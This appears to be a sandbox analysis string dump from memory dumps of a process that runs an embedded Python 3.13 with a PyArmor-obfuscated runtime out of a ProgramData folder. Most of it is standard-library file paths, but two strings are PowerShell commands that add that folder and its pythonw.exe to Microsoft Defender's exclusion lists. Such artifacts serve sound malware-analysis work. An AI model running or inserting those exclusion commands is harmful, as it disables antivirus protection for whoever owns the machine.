00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "??\C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\python3.DLL" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000;C:\ProgramData\NexusSoftware\felix1;C:\WINDOWS\SYSTEM32" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "rogramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "$path = "C:\ProgramData\NexusSoftware\felix1"; if (-not (Get-MpPreference).ExclusionPath -contains $path) { Add-MpPreference -ExclusionPath $path; }" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "$process = "C:\ProgramData\NexusSoftware\felix1\pythonw.exe"; if (-not (Get-MpPreference).ExclusionProcess -contains $process) { Add-MpPreference -ExclusionProcess $process; }" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp ":\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd" in Source: 00000000-00003580.00000001.112940.02CA0000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\codecs.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pythonw.exe" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\main.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\abc.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\antigravity.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\argparse.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ast.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\base64.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\bdb.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\bisect.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\bz2.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\calendar.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\cmd.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\code.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\codecs.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\codeop.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\colorsys.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\compileall.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\configparser.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\contextlib.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\contextvars.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\copy.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\copyreg.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\cProfile.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\csv.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dataclasses.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\datetime.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\importlib\_bootstrap_external.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_tasks.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\taskgroups.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_futures.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\base_subprocess.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\coroutines.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\exceptions.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\subprocess.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\format_helpers.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\proactor_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\selector_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\big5hkscs.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\transports.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\unix_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\concurrent\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\windows_events.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\windows_utils.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\collections\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\architecture.rst" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\bz2_codec.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\contentmanager.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\headerregistry.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_encoded_words.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_header_value_parser.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\base64_codec.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\hex_codec.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\hp_roman8.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_jisx0213.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_jis_2004.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_2.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_1.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_1.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_2.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_2004.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_3.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_jp_ext.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso2022_kr.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_3.pyc" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\zipimport.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\abc.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\Lib\io.py" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\re" in Source: 00000000-00003580.00000001.112940.04A60000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\decimal.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\difflib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dis.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\doctest.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\enum.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\filecmp.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\fileinput.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\fnmatch.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\fractions.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ftplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\functools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\genericpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\getopt.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\getpass.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\gettext.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\glob.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\graphlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\gzip.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\hashlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\heapq.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\hmac.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\imaplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\inspect.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\io.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ipaddress.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\keyword.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\linecache.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\locale.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\lzma.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\mailbox.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\mimetypes.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\modulefinder.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\netrc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ntpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\nturl2path.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\numbers.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\opcode.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\operator.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\optparse.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\os.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pdb.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pickle.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pickletools.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pkgutil.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\platform.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\plistlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\poplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\posixpath.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pprint.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\profile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pstats.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pty.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pyclbr.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\py_compile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\queue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\quopri.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\random.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\reprlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\rlcompleter.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\runpy.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sched.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\secrets.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\selectors.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\shelve.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\shlex.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\shutil.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\signal.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\site.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\smtplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\socket.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\socketserver.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sre_compile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sre_constants.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sre_parse.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ssl.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\stat.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\statistics.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\string.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\stringprep.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\struct.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\subprocess.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\symtable.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tabnanny.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tarfile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tempfile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\textwrap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\this.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\threading.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\timeit.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\token.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tokenize.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\trace.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\traceback.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tracemalloc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tty.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\typing.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\uuid.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\warnings.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wave.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\weakref.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\webbrowser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipapp.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipimport.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_aix_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_android_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_apple_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_collections_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_colorize.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_compat_pickle.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_compression.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_ios_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_markupbase.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_opcode_metadata.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_osx_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pydatetime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pydecimal.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyio.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pylong.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_py_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_sitebuiltins.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_strptime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_threading_local.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_weakrefset.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__future__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp 